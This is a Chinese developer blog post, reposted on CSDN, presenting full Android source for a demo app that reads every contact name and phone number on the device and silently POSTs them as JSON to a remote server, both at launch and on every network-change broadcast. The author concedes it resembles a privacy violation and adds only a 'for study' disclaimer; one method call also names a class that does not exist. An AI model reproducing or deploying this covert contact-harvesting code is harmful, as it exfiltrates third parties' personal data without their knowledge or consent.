[小项目] 获取手机联系人并且向服务器发送JSON数据

最新推荐文章于 2021-05-25 19:01:22 发布
最新推荐文章于 2021-05-25 19:01:22 发布
阅读量676 收藏 1
点赞数
文章标签： 移动开发 json
原文链接：http://www.cnblogs.com/redwolf/p/5393719.html
版权

[小项目] 获取手机联系人并且向服务器发送JSON数据

好久没有写文档了...最近忙着带班,也没有时间学习新东西,今天刚好有个小Demo,就写了一下,顺便丰富一下我的博客吧!

首先说一下需求: 简单的说,就是一个程序,会获取手机的联系人列表,然后转换成JSON字符串数组,向指定服务器中发送数据...总感觉有侵犯别人隐私权的意味;

注:仅供学习使用,不要做违法的事情哟

这个程序我写的有点有条理,首先有几个工具类:

1. 判断是否联网的工具类(NetUtils)

2. 从手机中获取所有联系人的工具类(GetDatasUtils)

3. 往服务器上发送数据的工具类(SendDatasUtils)

4. 将Java实体类转换成JSON字符串

然后一个实体类,用于存储联系人姓名和电话(ContactInfor)

一个MainActivity

一个广播接收者(MyReceiver)

对了,还有一个xml...是没有用的..

由于分类很明确,并且我都写注释了,所以直接上代码

MainActivity

View Code
package com.xdl.redwolf.mycontact;

import android.app.Activity;
import android.os.Bundle;

/**
 * @作者 RedWolf
 */
public class MainActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
//        调用工具类 获取联系人并且发送到服务器.. 由于不加静态 所以工具类就变得四不像了..
//        这个请求不会重复利用 So...匿名对象即可
    SendDatasUtils.sendDatas(this);

}
}

ContactInfor

View Code
package com.xdl.redwolf.mycontact;

/**
 * @作者 RedWolf
 */
public class ContactInfor {
String cName;
String cPhone;

public ContactInfor() {
}

public String getcName() {
    return cName;
}

public String getcPhone() {
    return cPhone;
}


public void setcName(String cName) {
    this.cName = cName;
}

public void setcPhone(String cPhone) {
    this.cPhone = cPhone;
}

@Override
public String toString() {
    return "ContactInfor{" +
            "cName='" + cName + '\'' +
            ", cPhone='" + cPhone + '\'' +
            '}';
}
}

GetDatasUtils

View Code
package com.xdl.redwolf.mycontact; import android.content.ContentResolver; import android.content.Context; import android.database.Cursor; import android.provider.ContactsContract; import java.util.ArrayList; /** * @作者 RedWolf */ public class GetDatasUtils { public static ArrayList getDatas(Context context) { ArrayList<ContactInfor> contactList = new ArrayList<>(); // 获取手机通讯录信息 ContentResolver resolver = context.getContentResolver(); // 获取联系人信息 Cursor personCur = resolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); // 循环遍历，获取每个联系人的姓名和电话号码 while (personCur.moveToNext()) { // 新建联系人对象 ContactInfor cInfor = new ContactInfor(); // 联系人姓名 String cname = ""; // 联系人电话 String cnum = ""; // 联系人id号码  String ID; ID = personCur.getString(personCur .getColumnIndex(ContactsContract.Contacts._ID)); // 联系人姓名 cname = personCur.getString(personCur .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)); // id的整型数据 int id = Integer.parseInt(ID); if (id > 0) { // 获取指定id号码的电话号码 Cursor c = resolver.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + ID, null, null); // 遍历游标 while (c.moveToNext()) { cnum = c.getString(c .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); } // 将对象加入到集合中  cInfor.setcName(cname); cInfor.setcPhone(cnum); contactList.add(cInfor); } } // 最后 把整理出来的集合 返回出去 return contactList; } }

JSONUtils

package com.xdl.redwolf.mycontact;

import android.util.Log;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import java.util.ArrayList;

    /**
     *@作者 RedWolf
     * 由于json解析太麻烦 还是自己写一个比较好...
     */
public class JSONUtils {
/**
     * 将集合转换为JSON格式的数据。
     */
public static String getJSON(ArrayList<ContactInfor> cIList) {
    try {
        JSONArray array = new JSONArray();
        JSONObject object = new JSONObject();
        int length = cIList.size();
        for (int i = 0; i < length; i++) {
            ContactInfor mContact = cIList.get(i);
            String name = mContact.getcName();
            String phone = mContact.getcPhone();
//                把实体类中的数据拿出来 塞入Json对象中..
            JSONObject stoneObject = new JSONObject();
            stoneObject.put("name", name);
            stoneObject.put("phone", phone);
//                JSON加入JSon数组
            array.put(stoneObject);
        }
//            把整个Json数组 编程Json对象
        object.put("mContact", array);
//            最后返回数据
        return object.toString();
    } catch (JSONException e) {
        Log.i("RedWolf", "JSONUtils报异常了.." + e.getMessage());
    }
    return null;
 }
}

 

MyReceiver

package com.xdl.redwolf.mycontact;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
 * @作者 RedWolf
 * <p/>
 * 咱就写一个广播接受者 反正是一个简单Demo 接收到
 */
public class MyReceiver extends BroadcastReceiver {
SendDatasUtils sdu;

//  由于是注册了一个广播接收者 所以 就算是结束了进程,那也是能用的.
public MyReceiver() {
}

@Override
public void onReceive(Context context, Intent intent) {
//        我管你接收到的是什么广播,我就注册了一个广播 那就是网络状态发生变化
    boolean flag = NetUtils.isNet(context);
    Log.i("IsNet", flag + "");
    if (flag) {
//            如果联网了  那么就获取那个啥  并且请求  由于不加静态 所以工具类就变得四不像了..
//           因为这一块  可能有用户很可恶 会一直调用更改网络状态 So..这个Utils对象 就应该变得 可重复利用
        SendDatasUtils.sendDatas(context);
    }
}
}

 

NetUtils

package com.xdl.redwolf.mycontact;

import android.content.Context;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;

/**
 * @作者 RedWolf
 * 用于判断是否联网
 */
public class NetUtils {

public static boolean isNet(Context context) {
    // 获取网络管理器
    if (context == null) {
        return false;
    }
    ConnectivityManager mConnectivityManager = (ConnectivityManager) context
            .getSystemService(Context.CONNECTIVITY_SERVICE);
    // 获取网络状态对象
    NetworkInfo mNetworkInfo = mConnectivityManager.getActiveNetworkInfo();
    // 判断是否联网
    if (mNetworkInfo == null) {
        return false;
    }
    return mNetworkInfo.isConnected();
}

}

 

SendDatasUtils

package com.xdl.redwolf.mycontact;

import android.content.Context;
import android.util.Log;

import com.android.volley.AuthFailureError;
import com.android.volley.Request;
import com.android.volley.RequestQueue;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.StringRequest;
import com.android.volley.toolbox.Volley;

import java.util.HashMap;
import java.util.Map;

/**
 * @作者 RedWolf
 */

public class SendDatasUtils {


public static void sendDatas(final Context context) {


//        用Vollery做网络请求..
        RequestQueue mQueue = Volley.newRequestQueue(context);
//        匿名子类的形式来重写getParams方法,
        StringRequest stringRequest = new StringRequest(Request.Method.POST, "http://www.bmob.cn",
                new Response.Listener<String>() {
                    //                    无论请求成功还是请求失败 都要把集合清空..否则 因为是静态 会无限叠加..
                    @Override
                    public void onResponse(String response) {
//                        TODO 要是不需要多次返回数据,那么这里就应该写一个SharedPreferences在本地打一个标记,证明已经发送了,当然 一般是不需要的.
                    Log.i("RedWolf", "请求成功----------------------");

                }
            },
            new Response.ErrorListener() {
                @Override
                public void onErrorResponse(VolleyError error) {
                    Log.e("RedWolf", "请求失败??" + error.getMessage(), error);
                }
            }) {
        //            重写getParams方法..就是为了添加一个Post参数..
        @Override
        protected Map<String, String> getParams() throws AuthFailureError {
            Map<String, String> map = new HashMap<>();
//                解析联系人集合并且塞入String中..
                String datas = JSONUtils.getJSON(GetDatas.getDatas(context));
                map.put("param", datas);
                Log.i("RedWolf", datas);
                return map;
            }
        };
//        这样 就发了请求...
        mQueue.add(stringRequest);
    }
}

最后还有一个清单文件OK

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.xdl.redwolf.mycontact">

    <!-- 读取联系人的权限 -->
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <!-- 开机启动 -->
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <!-- 网络请求权限 -->
    <uses-permission android:name="android.permission.INTERNET" />
    <!-- 监听网络状态的权限-->
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:supportsRtl="true"
        android:theme="@style/AppTheme">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <receiver
            android:name=".MyReceiver"
            android:enabled="true"
            android:exported="true">
            <intent-filter>
                <!-- 网络发生变化的广播-->
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
                <!--默认即可..-->
                <category android:name="android.intent.category.default" />

            </intent-filter>
        </receiver>
    </application>

</manifest>

 

## [小项目] 获取手机联系人并且向服务器发送JSON数据 ##

**好久没有写文档了...最近忙着带班,也没有时间学习新东西,今天刚好有个小Demo,就写了一下,顺便丰富一下我的博客吧!**

----------

**首先说一下需求: 简单的说,就是一个程序,会获取手机的联系人列表,然后转换成JSON字符串数组,向指定服务器中发送数据...总感觉有侵犯别人隐私权的意味;**

**注:仅供学习使用,不要做违法的事情哟**

----------

**这个程序我写的有点有条理,首先有几个工具类:**

**1. 判断是否联网的工具类(NetUtils)**

**2. 从手机中获取所有联系人的工具类(GetDatasUtils)**

**3. 往服务器上发送数据的工具类(SendDatasUtils)**

**4. 将Java实体类转换成JSON字符串**

----------
**然后一个实体类,用于存储联系人姓名和电话(ContactInfor)**

----------
**一个MainActivity**

**一个广播接收者(MyReceiver)**


**对了,还有一个xml...是没有用的..**

----------

**由于分类很明确,并且我都写注释了,所以直接上代码**
## MainActivity ##
    package com.xdl.redwolf.mycontact;
    
    import android.app.Activity;
    import android.os.Bundle;
    
    /**
     * @作者 RedWolf
     */
    public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    //        调用工具类 获取联系人并且发送到服务器.. 由于不加静态 所以工具类就变得四不像了..
    //        这个请求不会重复利用 So...匿名对象即可
        SendDatasUtils.sendDatas(this);

    }
    }

## ContactInfor ##
    package com.xdl.redwolf.mycontact;
    
    /**
     * @作者 RedWolf
     */
    public class ContactInfor {
    String cName;
    String cPhone;

    public ContactInfor() {
    }

    public String getcName() {
        return cName;
    }

    public String getcPhone() {
        return cPhone;
    }


    public void setcName(String cName) {
        this.cName = cName;
    }

    public void setcPhone(String cPhone) {
        this.cPhone = cPhone;
    }

    @Override
    public String toString() {
        return "ContactInfor{" +
                "cName='" + cName + '\'' +
                ", cPhone='" + cPhone + '\'' +
                '}';
    }

}

## GetDatasUtils ##
    package com.xdl.redwolf.mycontact;

    import android.content.ContentResolver;
    import android.content.Context;
    import android.database.Cursor;
    import android.provider.ContactsContract;

    import java.util.ArrayList;

    /**
         * @作者 RedWolf
     */
    public class GetDatasUtils {


    public static ArrayList getDatas(Context context) {
        ArrayList<ContactInfor> contactList = new ArrayList<>();
        // 获取手机通讯录信息
        ContentResolver resolver = context.getContentResolver();
        // 获取联系人信息
        Cursor personCur = resolver.query(ContactsContract.Contacts.CONTENT_URI, null,
                null, null, null);
        // 循环遍历，获取每个联系人的姓名和电话号码
        while (personCur.moveToNext()) {
            // 新建联系人对象
            ContactInfor cInfor = new ContactInfor();
            // 联系人姓名
            String cname = "";
            // 联系人电话
            String cnum = "";
            // 联系人id号码
            String ID;
            ID = personCur.getString(personCur
                    .getColumnIndex(ContactsContract.Contacts._ID));
            // 联系人姓名
            cname = personCur.getString(personCur
                    .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
            // id的整型数据
            int id = Integer.parseInt(ID);
            if (id > 0) {
                // 获取指定id号码的电话号码
                Cursor c = resolver.query(
                        ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                        null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID
                                + "=" + ID, null, null);
                // 遍历游标
                while (c.moveToNext()) {
                    cnum = c.getString(c
                            .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
                }
                // 将对象加入到集合中
                cInfor.setcName(cname);
                cInfor.setcPhone(cnum);
                contactList.add(cInfor);
            }
        }
    //        最后 把整理出来的集合 返回出去
        return contactList;
    }
    }

## JSONUtils ##
    package com.xdl.redwolf.mycontact;

    import android.util.Log;

    import org.json.JSONArray;
    import org.json.JSONException;
    import org.json.JSONObject;

    import java.util.ArrayList;

        /**
          *@作者 RedWolf
          * 由于json解析太麻烦 还是自己写一个比较好...
          */
    public class JSONUtils {
    /**
         * 将集合转换为JSON格式的数据。
         */
    public static String getJSON(ArrayList<ContactInfor> cIList) {
        try {
            JSONArray array = new JSONArray();
            JSONObject object = new JSONObject();
            int length = cIList.size();
            for (int i = 0; i < length; i++) {
                ContactInfor mContact = cIList.get(i);
                String name = mContact.getcName();
                String phone = mContact.getcPhone();
    //                把实体类中的数据拿出来 塞入Json对象中..
                JSONObject stoneObject = new JSONObject();
                stoneObject.put("name", name);
                stoneObject.put("phone", phone);
    //                JSON加入JSon数组
                array.put(stoneObject);
            }
    //            把整个Json数组 编程Json对象
            object.put("mContact", array);
    //            最后返回数据
            return object.toString();
        } catch (JSONException e) {
            Log.i("RedWolf", "JSONUtils报异常了.." + e.getMessage());
        }
        return null;
        }
    }

## MyReceiver ##
    package com.xdl.redwolf.mycontact;

    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.util.Log;

    /**
     * @作者 RedWolf
     * <p/>
     * 咱就写一个广播接受者 反正是一个简单Demo 接收到
     */
    public class MyReceiver extends BroadcastReceiver {
    SendDatasUtils sdu;

    //  由于是注册了一个广播接收者 所以 就算是结束了进程,那也是能用的.
    public MyReceiver() {
    }

    @Override
    public void onReceive(Context context, Intent intent) {
    //        我管你接收到的是什么广播,我就注册了一个广播 那就是网络状态发生变化
        boolean flag = NetUtils.isNet(context);
        Log.i("IsNet", flag + "");
        if (flag) {
    //            如果联网了  那么就获取那个啥  并且请求  由于不加静态 所以工具类就变得四不像了..
    //           因为这一块  可能有用户很可恶 会一直调用更改网络状态 So..这个Utils对象 就应该变得 可重复利用
            SendDatasUtils.sendDatas(context);
        }
    }
    }

## NetUtils ##

    package com.xdl.redwolf.mycontact;

    import android.content.Context;
    import android.net.ConnectivityManager;
    import android.net.NetworkInfo;

    /**
     * @作者 RedWolf
     * 用于判断是否联网
     */
    public class NetUtils {

    public static boolean isNet(Context context) {
        // 获取网络管理器
        if (context == null) {
            return false;
        }
        ConnectivityManager mConnectivityManager = (ConnectivityManager) context
                .getSystemService(Context.CONNECTIVITY_SERVICE);
        // 获取网络状态对象
        NetworkInfo mNetworkInfo = mConnectivityManager.getActiveNetworkInfo();
        // 判断是否联网
        if (mNetworkInfo == null) {
            return false;
        }
        return mNetworkInfo.isConnected();
    }

    }

## SendDatasUtils ##
    package com.xdl.redwolf.mycontact;
    
    import android.content.Context;
    import android.util.Log;
    
    import com.android.volley.AuthFailureError;
    import com.android.volley.Request;
    import com.android.volley.RequestQueue;
    import com.android.volley.Response;
    import com.android.volley.VolleyError;
    import com.android.volley.toolbox.StringRequest;
    import com.android.volley.toolbox.Volley;
    
    import java.util.HashMap;
    import java.util.Map;
    
    /**
     * @作者 RedWolf
     */
    
    public class SendDatasUtils {


    public static void sendDatas(final Context context) {


    //        用Vollery做网络请求..
            RequestQueue mQueue = Volley.newRequestQueue(context);
    //        匿名子类的形式来重写getParams方法,
            StringRequest stringRequest = new StringRequest(Request.Method.POST, "http://www.bmob.cn",
                    new Response.Listener<String>() {
                        //                    无论请求成功还是请求失败 都要把集合清空..否则 因为是静态 会无限叠加..
                        @Override
                        public void onResponse(String response) {
    //                        TODO 要是不需要多次返回数据,那么这里就应该写一个SharedPreferences在本地打一个标记,证明已经发送了,当然 一般是不需要的.
                        Log.i("RedWolf", "请求成功----------------------");

                    }
                },
                new Response.ErrorListener() {
                    @Override
                    public void onErrorResponse(VolleyError error) {
                        Log.e("RedWolf", "请求失败??" + error.getMessage(), error);
                    }
                }) {
            //            重写getParams方法..就是为了添加一个Post参数..
            @Override
            protected Map<String, String> getParams() throws AuthFailureError {
                Map<String, String> map = new HashMap<>();
    //                解析联系人集合并且塞入String中..
                    String datas = JSONUtils.getJSON(GetDatas.getDatas(context));
                    map.put("param", datas);
                    Log.i("RedWolf", datas);
                    return map;
                }
            };
    //        这样 就发了请求...
            mQueue.add(stringRequest);
        }
    }

转载于:https://www.cnblogs.com/redwolf/p/5393719.html

weixin_30347335
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
android 处理与服务器的通讯录,Android 实现读取通讯录并上传服务器
weixin_32638607的博客
05-26 212
关键技术- 内容解析者Resolver- ListView- Socket网络编程权限申请//需要在Manifest.xml文件中申请权限布局：xmlns:app="http://schemas.android.com/apk/res-auto"xmlns:tools="http://schemas.android.com/tools"android:layout_width="match_par...
ANDROID之获取联系人
weixin_33895516的博客
05-16 120
Android入门中，记录学习中的遇到的问题和一些个人总结。联系人数据库路径为：/data/data/com.android.providers.contacts/database/contacts2.db权限问题：安卓6.0以上只是在XML中写权限还不够，代码中也需要写。 if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M &am...
android开发案例之使用JSON数据向服务器提交和获取服务器传递的Json数据
xfyunyun的专栏
01-17 1476
这个方法,测试成功,详情请见注释package com.android.utils; import java.io.InputStream; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import org.json.JSONObject; impo
android通讯录上传服务器,Android 实现读取通讯录并上传服务器
weixin_33532631的博客
05-25 870
关键技术- 内容解析者Resolver- ListView- Socket网络编程权限申请//需要在Manifest.xml文件中申请权限布局：xmlns:app="http://schemas.android.com/apk/res-auto"xmlns:tools="http://schemas.android.com/tools"android:layout_width="match_par...
android获取联系人信息
look to the master, follow the master,
02-17 1929
android中在webView中显示网页，在网页中通过Js调用通讯录中的联系人信息，显示到webView中。
Android 连接服务器读取联系人
10-20
在Android中，我们通常使用`HttpURLConnection`或`OkHttp`库来发送HTTP请求到服务器，获取联系人数据。如果服务器返回的数据格式是JSON，那么我们还需要使用如`Gson`或`Jackson`等库进行数据解析。例如，服务器可能...
PHP获取邮箱联系人列表
10-21
3. **调用API**：使用访问令牌，向邮箱服务提供商的API发送请求，请求获取联系人列表。 4. **处理响应**：API响应通常为JSON格式，解析这些数据，将其转换为PHP对象或数组。 5. **存储数据**：将解析后的联系人数据...
jquery点击列表菜单选择添加联系人代码
11-11
例如，我们可以发送一个POST请求到服务器，将选定的联系人ID发送过去： ```javascript $.post('add_contact.php', { id: contactId }, function(response) { if (response.success) { // 成功添加，显示提示信息...
JSON解析数据listview显示
01-06
在用户界面设计中，ListView经常用于展示大量数据，比如联系人列表、邮件列表等。通过适配器（Adapter）机制，ListView可以从各种数据源获取数据，如数组、数据库或网络。 在“JSON解析数据listView显示”的场景下...
MSN获取联系人实例+jar包
09-29
MSN获取联系人实例+jar包是一个关于通过编程接口获取MSN（Microsoft Messenger）联系人列表的项目。MSN在早些年是非常流行的即时通讯软件，而这个实例则是为了帮助开发者理解如何利用API来抓取并处理MSN账号的联系人...
Android高级应用源码-通过Android客户端访问web服务器，实现一个登录功能,服务端+数据库+安卓端
11-13
Android高级应用源码-通过Android客户端访问web服务器，实现一个登录功能,服务端+数据库+安卓端
基于android手机通讯录的设计与实现毕业论文
03-20
基于android手机通讯录的设计与实现毕业论文
android 向服务器发送json数据，以及发送头信息的三种方式
angnang19851006的博客
05-24 230
好长一段时间没有去写博客了，最近公司有新的需求，与服务器端交互采用与以往不同的交互方式， 　　开发android的童鞋们都知道，一般用post或者get直接带参数到服务器，但是还有两种方式，在某些情况下使用比较频繁，当时就卡住了解决了很长一段时间，网上的教程说的都不太实用，现把自己的实际摸索出来的一套流程分享给大家。 　　1.需要在http请求头中带参数传递给服务器 　　　　比如：...
Android 网络数据访问
Lu. saning
03-11 1047
学习自：《Android应用开发揭秘》第八章 http://blog.csdn.net/wenwei19861106/article/details/8702643                推荐看真实书籍，较电子书更有感觉，映像更深。 小清新提示：文章最后面有彩蛋哟~~嚯嚯嚯嚯 Android 平台有3种网络接口可以使用， 他们分别是: java.net.*(标准Java接口
Android通过查询数据库手机联系人信息
忧忧忧忧忧忧的博客
11-16 641
很好用的工具类呢
Android内容访问者访问联系人信息实例
up的博客
02-22 428
效果图： package com.example.android25_contentprovide2test;import android.content.ContentResolver; import android.database.Cursor; import android.net.Uri; import android.support.v7.app.AppCompatActivity;
android: 通过内容提供器读取系统联系人
weixin_34185320的博客
03-08 286
读取系统联系人  由于我们之前一直使用的都是模拟器，电话簿里面并没有联系人存在，所以现在需要自 己手动添加几个，以便稍后进行读取。打开电话簿程序，界面如图 7.1 所示。   图   7.1   可以看到，目前电话簿里是没有任何联系人的，我们可以通过点击 Create a new contact按钮来对联系人进行创建。这里就先创建两个联系人吧，分别填入他们的姓名和手机号，如 ...
获取手机联系人并且向服务器发送JSON数据
RedWolf-blog
07-06 1630
[小项目] 获取手机联系人并且向服务器发送JSON数据好久没有写文档了…最近忙着带班,也没有时间学习新东西,今天刚好有个小Demo,就写了一下,顺便丰富一下我的博客吧!首先说一下需求: 简单的说,就是一个程序,会获取手机的联系人列表,然后转换成JSON字符串数组,向指定服务器中发送数据…总感觉有侵犯别人隐私权的意味;注:仅供学习使用,不要做违法的事情哟这个程序我写的有点有条理,首先有几个工具类:1.
如何向服务器发送json数据
最新发布
03-22
其中，url是服务器的API地址，data是要发送的JSON数据，headers指定请求头中的Content-Type为application/json。使用json.dumps将Python对象转换为JSON字符串后发送请求。最后，可以通过response对象获取服务器的...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值